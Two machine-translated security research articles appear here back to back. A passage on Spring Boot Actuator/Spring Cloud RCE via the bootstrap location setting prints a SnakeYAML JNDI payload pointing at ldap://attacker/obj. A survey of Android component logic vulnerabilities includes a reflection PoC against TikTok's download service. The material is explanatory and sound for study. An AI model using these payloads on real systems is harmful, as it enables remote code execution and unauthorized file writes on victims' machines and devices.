At this point, it can be determined that the method of implementing RCE by modifying spring.cloud.bootstrap.locationattributes cannot be successful in high versions

In order to find the available version range, I looked at the commit record of git and found that the modification was spring-cloud-common merged in 1.3.0.RELEASE, so it is 1.3.0.RELEASEonly

And the dependency version of the Spring Cloud related jar package depends on spring-cloud-dependencies the version, you can know from pom.xml that spring-cloud-dependenciesthe Dalston.RELEASE version depends on 1.2.0 spring-cloud-commons, and the later version depends on >= 1.3.0, according to the document https: //spring.io/projects/spring-cloud version adaptation instructions of Spring Cloud to Spring Boot

We can know that

• Spring Boot 2.x cannot be exploited successfully

• Spring Boot 1.5.x can be used successfully when using the Dalstonversion , but can Edgwarenot be used successfully

• Spring Boot <= 1.4 can exploit success

Think

How to find it?

How did the author find this exploit? This has always been the first question that I want to know the answer to after reading this big guy's article, and it is also the most difficult question. Here try to find some ideas and clues

First of all, when Spring Cloud components are not used, the /envendpoint of Spring Boot Actuator can only read the value of environment variables by default, so the first question is, how to know that there is a function that can modify environment variables?

Here, you need to have a certain understanding and experience of Spring ecology, such as Spring Boot, Spring Cloud, etc., otherwise, you will not be able to start. By searching Spring Cloud's documentation, I found the relevant instructions https://cloud.spring.io/spring-cloud-static/spring-cloud.html#\_endpoints

• POST to /env to update the Environment and rebind @ConfigurationProperties and log levels

• /refresh for re-loading the bootstrap context and refreshing the @RefreshScope beans

From the documentation, we also know that requests /refresh can trigger bootstrap context reload and load the modified environment variables

Then the next problem is to find which environment variables can be modified and some sensitive operations will be performed after reload. According to the instructions in the article, there are many environment variables that can be modified, so you need to try them one by one.

There is no idea of ​​forward-thinking here, turn to the reverse, try to spring.cloud.bootstrap.locationstart with, customize-bootstrap-properties according to the instructions in the Spring documentation

The bootstrap.yml (or .properties) location can be specified by setting spring.cloud.bootstrap.name (default: bootstrap) or spring.cloud.bootstrap.location (default: empty) — for example, in System properties.

It can be known that this variable is used to specify the location of the bootstrap configuration file. The supported file formats include ymland properties. Friends who are familiar with Java security may think that the parsing of yml will have a problem of deserialization. If the content of the configuration file is here, we If you can control it, there is a possibility that it can be exploited.

The next step is to combine the Spring Cloud source code and hands-on debugging to determine the processing of spring.cloud.bootstrap.locationenvironment variables and the parsing process of configuration files. According to the previous analysis, we know that the specified yml file will be downloaded in the code and parsed using the SnakeYAML library, so there is a deserialization vulnerability.

Of course, the actual process will be much more complicated than just described, requiring a lot of time and effort to read the documentation and debug the code.

SnakeYAML Payload

According to the introduction in https://github.com/mbechler/marshalsec/blob/master/marshalsec.pdf, in addition to the javax.script.ScriptEngineManager class , we can also use the com.sun.rowset.JdbcRowSetImplclass to complete the exploitation through JNDI injection. The payload is as follows

!!com.sun.rowset.JdbcRowSetImpl
  dataSourceName: ldap://attacker/obj
  autoCommit: true

In contrast ScriptEngineManager, JNDI injection will have some limitations in the use of high-level JDK, but because Spring Boot uses the Tomcat container by default, it can still be used successfully. For details, please refer to another article by Michael Stepankin. Exploiting JNDI Injections in Java

Changes In YamlPropertySourceLoader

In the process of looking for the reason for the failure of the high version of Spring Boot Actuator, I also found that even if it spring.cloud.bootstrap.locationcan successfully resolve, it still cannot succeed. The reason is that the class org.springframework.boot.env.YamlPropertySourceLoaderlogic of parsing yml in Spring boot has also changed. The test code is as follows

    @Test
    public void test() throws Exception {
        new YamlPropertySourceLoader().load("name", new ClassPathResource("payload/yaml-payload.yml"));
    }

The following error will be reported after execution

The error message is obvious. java.net.URLWhen the parameter type of the constructor is incorrect. After debugging, it is found that the higher version of Spring Boot stores the parsed value in the org.springframework.boot.origin.OriginTrackedValue.$OriginTrackedCharSequenceclass instead java.lang.String, which causes the failure to create an instance by reflection.

Summary

This article briefly analyzes the principles and steps of implementing RCE by modifying spring.cloud.bootstrap.locationenvironment . Although it cannot be used successfully in high versions, the process is still worth learning. And because there are so many frameworks and components in the Spring ecosystem, there may be more ways to use them. Interested masters can try to study them.

Finally, due to the limited personal level, there may be inaccurate or wrong descriptions in the article. Welcome to point out and communicate

Reference

• Exploiting Spring Boot Actuators

• Java-Deserialization-Cheat-Sheet - SnakeYAML (YAML)

• Java Unmarshaller Security

• SnakeYAML Documentation

• Spring Cloud

• Spring Cloud Context: Application Context Services

• Spring Boot Actuator + Spring Cloud Vul Env

Foreword

As society pays more and more attention to security, various defensive programming or vulnerability mitigation measures are gradually added to the operating system, such as code signature, pointer signature, address randomization, isolated heap, etc. Many common memory corruption vulnerabilities are in Stable exploitation is often difficult under these mitigations. Therefore, attackers are gradually focusing more on logical loopholes. Logical loopholes usually have good stability and are not affected but at the same time, they are hidden deep and are difficult to find in a large number of business codes. Moreover, due to the variety of forms, it is not very versatile, and may not be a high-priority research direction from the perspective of the input-output ratio. Regardless, this is always an attack surface to watch. Therefore, this article introduces some common logic vulnerabilities targeting the Android platform.

The Major Components

Anyone who has been in contact with Android should have heard of the "major components". The first thing to learn when developing an application is the life cycle of each component. The so-called four major components refer to Activity, Service, Broadcast Receiver, and Content Provider respectively. For the implementation details of these components, please refer to the official document: Application Fundamentals.

In security research, the four major components deserve our special attention, because they are an important bridge for the application to communicate with the outside world, and even within the application, these components are used to build a loosely coupled relationship with each other. For example, the application does not need to apply for camera permission, but the (system) camera application can open the camera and obtain the captured photos through mutual communication between components as if it was taking pictures by itself.

In the process of component interaction, the core data structure is Intent, which is the carrier of communication between most components.

Intent 101

According to the official statement, Intent is an "abstract description of an operation to be performed", which can also be called "intent" in literal translation, such as wanting to turn on the camera to take pictures, to open a browser to visit a website, to open the settings interface,... can be described by Intent.

There are two main forms of Intent, namely explicit Intent, and implicit Intent; the difference between the two is that the former explicitly specifies a Component, while the latter does not specify a Component, but it will use enough information to help the system understand the intent, such as Action, Category, etc.

The main function of Intent is to start Activity, so we take this scenario as an example to analyze the specific implementation of Intent from the source code. The general code snippet for starting an Activity is as follows:

Intent intent = new Intent(context, SomeActivity.class);
startActivity(intent);

An explicit Intent is used here, but that's not the point. It is generally called in an Activity, so the Activity.startActivitycode is called in frameworks/base/core/java/android/app/Activity.java, and there is no copying and pasting here. In short, the calling link is as follows:

• Activity. startActivity()

• Activity. startActivityForResult()

• Instrumentation. execStartActivity()

• ActivityTaskManager.getService().startActivity()

• IActivityTaskManager. startActivity()

The last call is an interface, which is a very common pattern. The next step is to find its implementation. If there is no accident, this implementation should be in another process. In fact it is also system_serverin :

• ActivityTaskManagerService. startActivity()

• ActivityTaskManagerService.startActivityAsUser()

• ActivityStarter. execute()

The last method prepares to start the Activity through the information passed in before, including caller, userId, flags, callingPackage and the most important intent information, as follows:

private int startActivityAsUser(...) {
    // ...
    return getActivityStartController()
            .obtainStarter(
                intent, "startActivityAsUser")
            .setCaller(caller)
            .setCallingPackage(callingPackage)
            .setCallingFeatureId(callingFeatureId)
            .setResolvedType(resolvedType)
            .setResultTo(resultTo)
            .setResultWho(resultWho)
            .setRequestCode(requestCode)
            .setStartFlags(startFlags)
            .setProfilerInfo(profilerInfo)
            .setActivityOptions(bOptions)
            .setUserId(userId)
            .execute();
}

The main logic of ActivityStarter.execute() is as follows:

int execute() {
    // ...
    if (mRequest.activityInfo == null) {
        mRequest.resolveActivity(mSupervisor);
    }
    res = resolveToHeavyWeightSwitcherIfNeeded();
    res = executeRequest(mRequest);

}

Among them, it resolveActivityis used to obtain the information of the Activity to be started. For example, in the case of implicit start, there may be multiple targets that meet the requirements, and a pop-up menu will ask the user which application to choose to open. executeRequestIn the middle, it mainly checks related permissions, and calls startActivityUncheckedto .

I have already introduced most of the processes in the Android12 application startup process analysis , and here more attention is paid to the role of Intent itself. From the above analysis, it can be seen as a message carrier in multi-process communication, and its source code definition can also be seen that Intent itself is a structure that can be serialized and passed between processes.

public class Intent implements Parcelable, Cloneable { ... }

IntentIt has many methods and attributes, which will not be expanded here for the time being, and will be analyzed later when specific vulnerabilities are introduced. The following article mainly starts with the four major components, and introduces some common vulnerability modes and design traps respectively.

Activity

Activity , also known as the active window, is a graphical interface that directly interacts with the user. One of the main development tasks of APP is to design each activity and plan the jumps and links between them. Usually an activity represents a full-screen active window, but it can also exist in other forms, such as floating windows, multi-windows, etc. As a UI window, it generally uses XML files for layout, and inherits the Activity class to implement its life cycle functions onCreateand onPauseother life cycle methods.

If the Activity defined by the developer wants to be Context.startActivitystarted by , it must be declared in the manifest file of the APP, namely AndroidManifest.xml. When the application is installed, it PackageManagerwill parse the relevant information in its manifest file and register it in the system, so that it can be searched resolvewhen .

In the adb shell, you can use am start-activityto open the specified Activity, and start it by specifying the Intent:

am start-activity [-D] [-N] [-W] [-P <FILE>] [--start-profiler <FILE>]
        [--sampling INTERVAL] [--streaming] [-R COUNT] [-S]
        [--track-allocation] [--user <USER_ID> | current] <INTENT>

As the carrier of the user interface, Activity carries many tasks such as user input/processing, external data reception/display, etc., so it is a main attack surface of the application. Several common attack scenarios are introduced below.

The Life Cycle

The classic life cycle diagram of Activity is as follows:

Usually developers only need to implement the onCreatemethod , but for some complex business scenarios, it is necessary to correctly understand its life cycle. Take an application that the author encountered in the internal test as an example. Some sensitive operations were performed in a certain Activity, such as turning on the camera streaming, or turning on the recording, onDestroybut the streaming/recording was only turned off in . This will cause these operations to still run in the background when the APP enters the background, and the attacker can construct a task stack so that the victim still executes the background functions of the target application when facing the phishing interface of the malicious application, thus forming a special phishing scenario. The correct approach should be to close sensitive operations in the onPausedcallback .

In fact, the attacker can precisely control the triggering timing of the target Activity lifecycle callback function by continuously sending different Intents. If no attention is paid during development, the state machine of the application function will be abnormal or even a security problem.

Implicit Exported

As mentioned earlier, if the Activity defined by the developer wants to use startActivityto start, it must <activity>be declared in AndroidManifest.xml. An example of a declaration is as follows:

<activity xmlns:android="http://schemas.android.com/apk/res/android" android:theme="@android:01030055" android:name="com.evilpan.RouterActivity">
  <intent-filter>
    <action android:name="android.intent.action.VIEW"/>
    <category android:name="android.intent.category.DEFAULT"/>
    <category android:name="android.intent.category.BROWSABLE"/>
    <data android:scheme="demo" android:host="router"/>
  </intent-filter>
</activity>

There are many properties supported in activity . One of the important attributes is android:exportedto indicate whether the current Activity can be started by other application components. This attribute has several characteristics.

• The attribute can be defaulted, and the default value defaults to false.

• If the Activity does not explicitly set this property and it is defined in the Activity <intent-filter>, then the default value is true.

That is to say, the developer may not explicitly specify the Activity export, but because it is specified intent-filter, it is actually exported, that is, the corresponding Activity can be invoked by other applications. This situation was very common in the early days. For example, APP designed a set of interfaces for changing passwords. You need to enter the old password first and then jump to the interface for entering the new password. If the latter is exported, the attacker can directly evoke the input of the new password. The password interface, thus bypassing the verification logic of the old password.

Google has been deeply aware of this problem, so it stipulates that after Android 12, if the application's Activity contains intent-filter, it must be explicitly specified android:exportedas true or false, and the default is not allowed. In Android 12, an application that does not explicitly specify the exported attribute and has an intent-filter Activity will be directly rejected by the PackageManager during installation.

Fragment Injection

Activity, as the core component of the UI, also supports modular development, such as displaying several reusable sub-interfaces in the same interface. The Fragments component, or "fragment", was born with this design idea . FragmentActivityOne or more fragments can be combined in an Activity to facilitate code reuse. The life cycle of a fragment is affected by the host Activity.

The Fragment Injection vulnerability first broke out in 2013. Here we only introduce its principle. The original articles and papers are attached at the end of this section. The core of the vulnerability is the PreferenceActivityclass . Developers can inherit it to implement convenient setting functions. The onCreate function of this class has the following functions:

protected void onCreate() {
    // ...
    String initialFragment = getIntent().getStringExtra(EXTRA_SHOW_FRAGMENT);
    Bundle initialArguments = getIntent().getBundleExtra(EXTRA_SHOW_FRAGMENT_ARGUMENTS);
    // ...
    if (initialFragment != null) {
        switchToHeader(initialFragment, initialArguments);
    }
}

private void switchToHeaderInner(String fragmentName, Bundle args) {
    getFragmentManager().popBackStack(BACK_STACK_PREFS,
            FragmentManager.POP_BACK_STACK_INCLUSIVE);
    if (!isValidFragment(fragmentName)) {
        throw new IllegalArgumentException("Invalid fragment for this activity: "
                + fragmentName);
    }

    Fragment f = Fragment.instantiate(this, fragmentName, args);
}

It can be seen that a string and a Bundle parameter are obtained from the Intent, and finally passed switchToHeaderInnerinto to instantiate the specific one Fragment. The instantiation process is as follows:

public static Fragment instantiate(Context context, String fname, Bundle args) {
    // ...
    Class clazz = sClassMap.get(fname);
    if (clazz == null) {
            // Class not found in the cache, see if it's real, and try to add it
            clazz = context.getClassLoader().loadClass(fname);
            sClassMap.put(fname, clazz);
    }
    Fragment f = (Fragment)clazz.newInstance();
    if (args != null) {
            args.setClassLoader(f.getClass().getClassLoader());
            f.mArguments = args;
    }
    return f;
}

A classic reflection call, instantiates the incoming string as a Java class and sets its parameters. What is this, this is deserialization! And the actual vulnerability comes from here. Since the incoming parameter is controllable by the attacker, the attacker can set it as an internal class, thus touching the functions that the developer did not expect. In the original report, the author used a Fragment that sets the PIN password in the Settings application as the target input. This is a private fragment, which leads to the function of modifying the PIN code without authorization. Many other user applications at that time also used PreferenceActivity, so the vulnerability had a wide impact, and the resulting exploits varied according to the functions of the application itself (that is, whether there are useful Gadgets).

Note that the above code is excerpted from the latest Android 13, where the switchToHeaderInnermethod has added the isValidFragmentjudgment, which is one of Android's original fixes, that is, forcing subclasses of PreferenceActivity to implement this method, otherwise an exception will be thrown at runtime. But even so, there are still many developers who directly inherit and return truefor the .

Fragment Injection seems to be a problem of PreferenceActivity, but its core is still the imperfect verification of untrusted input. In the following examples, we will see similar vulnerability patterns many times.

Reference Article:

• A New Vulnerability in the Android Framework: Fragment Injection

• ANDROID COLLAPSES INTO FRAGMENTS.pdf (wp)

• Understanding fragment injection

• How to fix Fragment Injection vulnerability

ClickJacking

Since Activity is the main carrier of UI, the interaction with users is also a key function. In traditional web security, there has been a method of clickjacking, which is to place the case where the target website wants the victim to click on a specified location (such as an iframe), and use related components in the host to cover and guide the target, so that the victim The author performed sensitive operations unknowingly, such as liking, coining, collecting, and resigning with one click.

Similar attack methods have also appeared in Android, such as covering the attacker's custom TextView in front of the system's sensitive pop-up window to guide the victim to confirm certain harmful operations. Of course, this requires the attacker's application to have the floating window permission ( SYSTEM_ALERT_WINDOW). In the newer Android system, the application for this permission requires multiple confirmations from the user.

In the past two years, some clickjacking vulnerabilities have also appeared in AOSP, including but not limited to:

• CVE-2020-0306: Bluetooth discovery request confirmation box override

• CVE-2020-0394: Bluetooth pairing dialog override

• CVE-2020-0015: Certificate installation dialog override

• CVE-2021-0314: Uninstall confirmation dialog override

• CVE-2021-0487: Calendar debug dialog override

For system applications, the way to defend against clickjacking is generally SYSTEM_FLAG_HIDE_NON_SYSTEM_OVERLAY_WINDOWSto .

For ordinary applications, it is impossible to apply for the HIDE_NON_SYSTEM_OVERLAY_WINDOWS permission. There are generally two defensive measures. One is to prohibit input events after the form is overwritten by filterTouchesWhenObscuredsetting trueto ; the other is to overload the View.onFilterTouchEventForSecurity method and detect Coverage by other apps. In Android 12, the system has enabled the filterTouchesWhenObscured attribute by default, which is also a classic implementation of security by default.

Another vulnerability similar to clickjacking is called StrandHogg. For details, please refer to the original article below. The key point is to use the Activity's allowTaskReparentingand taskAffinityattributes to disguise its task stack as the target application, so that when the target application is opened, due to the last-in-first-out feature of TaskStack, the user will see the attacker's application, resulting in application phishing Scenes.

Later, the same security team proposed the StrandHogg 2.0 version, which mainly uses ActivityStarterthe AUTOMERGE feature in . Assuming there are two applications A and B, startActivites(B1, A2, B2)after , the task stack will be merged from (A1, B1) and (A2, B2) to (A1, B1, A2, B2), that is, in the same task stack Activities of other applications are covered, resulting in phishing scenarios. However, this vulnerability is relatively specialized, so Google has already fixed it a long time ago. For details, please read the following reference articles:

• The Strand Hogg vulnerability

• StrandHogg 2.0 – New serious Android vulnerability

• StrandHogg 2.0 (CVE-2020-0096) fix

Intent Redirection

Intent Redirection, as the name implies, forwards the untrusted input passed in by the user, which is similar to the SSRF vulnerability on the server side. An example of a typical vulnerability is as follows:

protected void onCreate (Bundle savedInstanceState) {
   Intent target = (Intent) getIntent().getParcelableExtra("target");
   startActivity(target);
}

ParcelableDirectly Intentconvert the target passed in by the user into an object, and startActivitycall this object as a parameter of . As far as this example is concerned, the possible harm is that the attacker can use arbitrary structured Intent data to start any application in the target APP, even if it is a private application that has not been exported. However, the application whose target is not exported may further parse the parameters in the Intent provided by the attacker to cause further damage, such as executing arbitrary Javascript code in the built-in Webview, or downloading and saving files, etc.

In fact, Intent Redirection can be used for other interfaces besides possibly starting private Activity components, including:

• startActivity

• startService

• sendBroadcast

• setResult

Note: Each method may have several derivative methods, such as startActivityForResult

The first three may be easier to understand, namely start the interface, start the service and send the broadcast. The last setResultmay be ignored during troubleshooting. This is mainly used to return additional data to the caller of the current Activity, mainly used startActivityForResultin scenarios, which may also pollute the user's untrusted data to the caller.

From a defensive point of view, it is recommended not to directly send the incoming Intent as a parameter to the above four interfaces. If you must do this, you need to perform sufficient filtering and security verification in advance, such as:

• android:exportedSet the component itself to false, but this only prevents the data sent by the user actively, and cannot intercept the data setResultreturned by .

• Make sure that the obtained is Intentfrom trusted application, such as calling in the component context getCallingActivity().getPackageName().equals("trust.app"), but pay attention to malicious applications that can getCallingActivityreturn null.

• Make sure that the to-be-forwarded Intentdoes not have any harmful behavior, such as the component does not point to its own non-exported components, does not contain FLAG_GRANT_READ_URI_PERMISSIONetc. (see ContentProvider vulnerability below for details).

But it turns out that even Google itself may not be able to ensure perfect verification. The high-risk vulnerability recently submitted by Wuheng Lab CVE-2022-20223is a typical example:

private void assertSafeToStartCustomActivity(Intent intent) {
    // Activity can be started if it belongs to the same app
    if (intent.getPackage() != null && intent.getPackage().equals(packageName)) {
        return;
    }
    // Activity can be started if intent resolves to multiple activities
    List<ResolveInfo> resolveInfos = AppRestrictionsFragment.this.mPackageManager
            .queryIntentActivities(intent, 0 /* no flags */);
    if (resolveInfos.size() != 1) {
        return;
    }
    // Prevent potential privilege escalation
    ActivityInfo activityInfo = resolveInfos.get(0).activityInfo;
    if (!packageName.equals(activityInfo.packageName)) {
        throw new SecurityException("Application " + packageName
                + " is not allowed to start activity " + intent);
    }
}

Among them, is used ActivityInfo.packageNameto judge whether the package name of the startup target is consistent with the package name of the current caller, but in fact, the explicit Intent is to specify the startup target through componentName, which has a higher priority than Intent.packageNameand the latter can be forged, which causes the check Bypass. There is actually another vulnerability in the above few lines of code. If you are interested, you can refer to the reference link below.

So, when you come across a potential Intent redirection issue, take a little more time to scrutinize it, and you might be able to find an exploitable scenario.

• Remediation for Intent Redirection Vulnerability

Service

Service has two main functions, one is to provide a background long-running environment for APP, and the other is to provide its own services to the outside world. Similar to the definition of Activity, Service must be declared in the manifest before it can be used. Note that the code in the Service also runs on the main thread like the Activity, and is in the process of the application by default.

According to the distinction between the two main functions of the Service, there are two corresponding forms to start the Service:

• Context.startService(): Start the background service and let the system schedule it.

• Context.bindService(): Let the (external) application bind the service and use the interface it provides, which can be understood as the RPC server.

The life cycle diagram of the two ways to start the service is as follows:

The blue part is called on the client side. After the system receives the request, it will start the corresponding service. If the corresponding process is not started, it will also notify zygote to start it. Regardless of the method used to create the service, the system calls the onCreateand onDestroymethods for it. The overall process is similar to the startup process of Activity, so I won't go into details here.

The start-activitycommand to facilitate starting the service:

am start-service [--user <USER_ID> | current] <INTENT>

Let's introduce some vulnerabilities related to the Service component.

The Life Cycle

The life cycle of Service startup was introduced earlier, which is generally similar to the Activity process, but there are a few differences that need to be noted:

• Unlike the Activity life cycle callback method, it is not necessary to call the superclass implementation of the Serivce callback method, such as onCreate, onDestory, etc.

• ServiceThe direct subclass of the class runs in the main thread, and generally needs to be executed in a new thread when processing multiple blocked requests at the same time.

• IntentServiceIt is a subclass of Service, designed to run in a Worker thread, and can process multiple blocked Intent requests serially; API-30 will be marked as an obsolete interface after API-30, and it is recommended to use WorkManager or JobIntentService to implement.

• The client uses stopSelfor stopServiceto stop the binding service, but the server does not have a corresponding onStopcallback , and only receives it before it is destroyed onDestory.

• The foreground service must provide a notification for the status bar, letting the user realize that the service is running.

For bound services , the Android system will automatically destroy the service based on the bound client reference count, but if the service implements a onStartCommand()callback , the service must be explicitly stopped because the system will treat it as a started state. In addition, if the service allows the client to bind again, it needs to implement the onUnbind method and return true, so that the client will receive the same IBinder when it binds next time, as shown in the example diagram below:

The declaration cycle of a service is more complicated than that of an Activity, because it involves the binding relationship between processes, so it is more likely to write unrobust or even problematic code without understanding it.

Implicit Export

Like Activity, Service also needs to be declared with service in the manifest , and also has android:exportedattributes . Even the definition of the default value of this attribute is the same, that is, the default is false, but when the intent-filter is included, the default is true. Similarly, in Android 12 and later, it is also mandatory to explicitly specify the export properties of the service.

Service Hijacking

Unlike Activity, Android does not recommend using implicit Intents to start services. Because the service runs in the background, there is no visible graphical interface, so the user cannot see which service was started by the implicit Intent, and the sender does not know who the Intent will be received by.

Service hijacking is a typical vulnerability. An attacker can declare the same intent-filter as the target for his Service and set a higher priority, so that the Intent that should have been sent to the target service can be intercepted. If it contains sensitive information Otherwise, data leakage will occur.

In , the harm bindServiceof this situation is even more serious, the attacker can pretend to be the target IPC service to return wrong or even harmful data. Therefore, starting from Android 5.0 (API-21), using an implicit Intent to call bindService will directly throw an exception.

If the target application to be audited is provided in the Service intent-filter, it is necessary to focus on troubleshooting.e

AIDL

The binding service can be used as an IPC server. If the server returns an instance of the AIDL interface when binding, it means that the client can call any method of the interface. A practical example is Tiktok ,IndependentProcessDownloadService which returns an instance of the above AIDL interface in onBind:DownloadService

if (this.downloadServiceHandler != null) {
    return this.downloadServiceHandler.onBind(intent);
}

And there is a tryDownloadmethod that can specify the url and file path to download and save the file locally. Although the attacker does not have an AIDL file, he can still construct a legal request through reflection to call. The key code in the PoC is as follows:

rivate ServiceConnection mServiceConnection = new ServiceConnection() {
    public void onServiceConnected(ComponentName cName, IBinder service) {
        processBinder(service);
    }

    public void onServiceDisconnected(ComponentName cName) { }
};

protected void onCreate(Bundle savedInstanceState) {
    super.onCreate(savedInstanceState);

    Intent intent = new Intent("com.ss.android.socialbase.downloader.remote");
    intent.setClassName(
        "com.zhiliaoapp.musically",
        "com.ss.android.socialbase.downloader.downloader.IndependentProcessDownloadService");
    bindService(intent, mServiceConnection, BIND_AUTO_CREATE);
}

private void processBinder(IBinder binder) {
    ClassLoader cl = getForeignClassLoader(this, "com.zhiliaoapp.musically");
    Object handler = cl.loadClass("com.ss.android.socialbase.downloader.downloader.i$a")
            .getMethod("asInterface", IBinder.class)
            .invoke(null, binder);

    Object payload = getBinder(cl);

    cl.loadClass("com.ss.android.socialbase.downloader.downloader.i")
            .getMethod("tryDownload", cl.loadClass("com.ss.android.socialbase.downloader.model.a"))
            .invoke(handler, payload);
}

private Object getBinder(ClassLoader cl) throws Throwable {
    Class utilsClass = cl.loadClass("com.ss.android.socialbase.downloader.utils.g");
    Class taskClass = cl.loadClass("com.ss.android.socialbase.downloader.model.DownloadTask");
    return utilsClass.getDeclaredMethod("convertDownloadTaskToAidl", taskClass)
            .invoke(null, getDownloadTask(taskClass, cl));

The key is to use Context.getForeignClassLoaderto get the ClassLoader of other applications.

Vulnerability details reference: vulnerabilities in the TikTok Android app

Intent Redirect

This is actually similar to the corresponding vulnerability in the Activity. When the client starts/binds the Service, it also specifies an implicit or explicit Intent. If the untrusted data is used by the server as a parameter to start other components, there will be May cause the same Intent redirection problem. Note that there are other data sources getIntent()besides , such as onHandleIntentthe parameters implemented in the service.

In fact, the "LaunchAnywhere" vulnerability that first proposed the harm of Intent redirection comes from the system service, and it is AccountManagerServicea . The normal execution flow of AccountManager is:

• A common application (denoted as A) requests to add a certain type of account, calling AccountManager.addAccount.

• AccountManager will look for the Authenticator class of the application (denoted as B) that provides the account.

• AccountManager calls B's Authenticator.addAccount method.

• AccountManager invokes B's account login interface (AccountManagerResponse.getParcelable) according to the Intent returned by B.

In step 4, the system thinks that the data returned by B points to B's login interface, but in fact B can make it point to other components, even system components, which creates an Intent redirection vulnerability. The source of Intent here is rather tortuous, but the essence is still controllable by the attacker.

For details about this vulnerability and the exploit process, please refer to: launchAnyWhere: Activity Component Permission Bypass Vulnerability Analysis (Google Bug 7699048 )

Receiver

Broadcast Receiver , receiver for short, is the broadcast receiver. The linkage between Activity and Service described above is one-to-one, and in many cases we may want one-to-many or many-to-many communication solutions, and broadcasting assumes this function. For example, the Android system itself will send broadcast notifications to all interested applications when various events occur, such as turning on airplane mode, network status changes, low battery, and so on. This is a typical publish/subscribe design pattern, as is the carrier of broadcast data Intent.

Different from the previous Activity and Service, Receiver can be declared and registered in the manifest, which is called static registration; it can also be registered dynamically during the running of the application. But in any case, the defined broadcast receiver must inherit from BroadcastReceiver and implement its life cycle method onReceive(context, intent).

Note that the parent class of BroadcastReceiver is Object, unlike Activity and Service which are Context, so onReceive will also pass in an additional context object.

The command to send a broadcast in the shell is as follows:

am broadcast [--user <USER_ID> | all | current] <INTENT>

Here are some frequently asked questions in order.

Implicit Export

There is nothing special about using statically registered receivers, examples are as follows:

<receiver android:name=".MyBroadcastReceiver"  android:exported="true">
    <intent-filter>
        <action android:name="android.intent.action.BOOT_COMPLETED"/>
        <action android:name="android.intent.action.INPUT_METHOD_CHANGED" />
    </intent-filter>
</receiver>

There is also the same default export problem as before. I believe everyone is tired of seeing it, so I won’t be verbose anymore. Then look at the dynamic registration situation, such as:

BroadcastReceiver br = new MyBroadcastReceiver();
IntentFilter filter = new IntentFilter(ConnectivityManager.CONNECTIVITY_ACTION);
filter.addAction(Intent.ACTION_AIRPLANE_MODE_CHANGED);
this.registerReceiver(br, filter);

It may be easier to ignore the issue of export permissions with dynamic registration than with definitions in the manifest. The above code snippet dynamically registers a broadcast, but does not explicitly declare the exported attribute, so it is exported by default. In fact, there seems to be no easy way to set up using registerReceiver exported=false, and Google's official suggestion is LocalBroadcastManager.registerReceiverto , or specify the permission when registering.

For the case of specifying the permission permission, if it is a custom permission, it needs to be declared in the application manifest, for example:

<permission android:name="com.evilpan.MY_PERMISSION"
    android:protectionLevel="signature"/>
<uses-permission android:name="com.evilpan.MY_PERMISSION" />

signature Indicates a permission that the system will only grant if the app requesting authorization is signed with the same certificate as the app declaring the permission. If the certificates match, permissions are automatically granted without notifying the user or asking for their explicit permission. See protectionLevel for details.

Finally, specify this permission during dynamic registration:

this.registerReceiver(br, filter, "com.evilpan.MY_PERMISSION", null);

Registering an export broadcast receiver without permission restrictions will result in receiving malicious data forged by the attacker. If the verification is not done properly during onReceive, there may be vulnerabilities such as unauthorized access or Intent redirection, causing further security hazards.

There are many security issues of this kind, and a typical example is the PpmtReceiver vulnerability used to break through the Samsung Galaxy S8 on Pwn2Own .

Information Leakage

The above is mainly to set permissions from the perspective of restricting broadcast senders, but in fact this permission can also restrict broadcast receivers, but additional designation is required when sending messages, for example, if you want only receivers with the above permissions to receive broadcast, the sending code is as follows:

Intent it = new Intent(this, ...);
it.putExtra("secret", "chicken2beautiful")
sendBroadcast(it, "com.evilpan.MY_PERMISSION");

If there is no second parameter, the default is that all recipients that meet the conditions can receive the broadcast information. At this time, if the sent Intent contains sensitive data, it may cause information leakage.

A practical case is CVE-2018-9581 The system carries sensitive data RSSI when broadcasting android.net.wifi.RSSI_CHANGED. This broadcast can be received by all applications, which indirectly leads to the leakage of physical location information. (funny?)

It can be seen that for Broadcast Receiver, the role of the permission tag is particularly obvious. For system broadcasts, for example BOOT_COMPLETED, usually only system apps have permission to send them. This is defined in the AndroidManifest.xml of the framework .

As for the custom broadcast of the application, the above-mentioned custom permissions are usually used, so a question naturally comes to mind, what happens if multiple applications define the same permission? In fact, this is a historical vulnerability. In the early days of Android, the strategy was to give priority to the first defined permission, but after Andorid 5, it has been clearly defined that two applications have different definitions of the same permission (unless they have the same signature), otherwise Apps installed later will show INSTALL_FAILED_DUPLICATE_PERMISSIONan error warning. Interested archaeologists can refer to the following related articles:

• Vulnerabilities with Custom Permissions

• Custom Permission Vulnerability and the 'L' Developer Preview

Intent Redirection

Not much to say about the principle, just look at the case. The vulnerability lies in Tiktok NotificationBroadcastReceiver, which defines the intent-filter, which causes the component to be set as export by default, so it can receive the broadcast of external applications, and directly use the untrusted data in the broadcast to start the Activity, as follows:

Vulnerability details can refer to: Oversecured detects dangerous vulnerabilities in the TikTok Android app

ContentProvider

Content Provider , the content provider, referred to as Provider. Android applications are usually implemented as an MVC structure (Model-View-Controller), and the Model part is the data source for its own View, or graphical interface, to display. But sometimes an application will want to provide its own data for other data to use, or obtain data from other applications.

To define a ContentProvider, you only need to inherit from the ContentProvider class and implement six methods: query, insert, update, delete, getTypeand onCreate. Among them, except onCreate is called by the system in the main thread, other methods are actively called by the client program. A custom provider must be declared in the program list, which will be described in detail later.

It can be seen that the Provider mainly implements the database-like addition, deletion, modification and query interface. From the perspective of the client, the query process is similar to querying the traditional database. For example, the following is the code snippet for querying the system SMS:

Cursor cursor = getContentResolver().query(
    Telephony.Sms.Inbox.CONTENT_URI,           
    new String[] { Telephony.Sms.Inbox.BODY }, 
    selectionClause,                           
    selectionArgs,                             
    Telephony.Sms.Inbox.DEFAULT_SORT_ORDER);   
while (cursor.moveToNext()) {
    Log.i(TAG, "msg: " + cursor.getString(0));
}

Among them ContentResolveris ContentInterfacethe subclass, which is the client remote interface of ContentProvider, which can implement its transparent remote proxy invocation. content_uriCan be regarded as the table name of the query, projectioncan be regarded as the column name, and the returned cursor is the iterator of the query result row.

Unlike the previous three components, the tool for accessing the provider component in the shell is content.

Let's introduce the common problems in Provider.

Permissions

In view of the provider as a data carrier, security access and permission control are naturally the top priority. For example, in the above code example, the interface for accessing SMS, if everyone can access it at will, it will obviously cause information leakage. As briefly mentioned earlier, the Provider defined in the application must be declared in its program manifest file, using the provider tag. Among them are our common exportedattributes , indicating whether it can be accessed externally, and permissionattributes indicating the permissions required for access. Of course, different permissions can be used for reading and writing, such as readPermission/ writePermissionattributes.

For example, the SMS database mentioned above is declared as follows:

<provider android:name="SmsProvider"
    android:authorities="sms"
    android:multiprocess="false"
    android:exported="true"
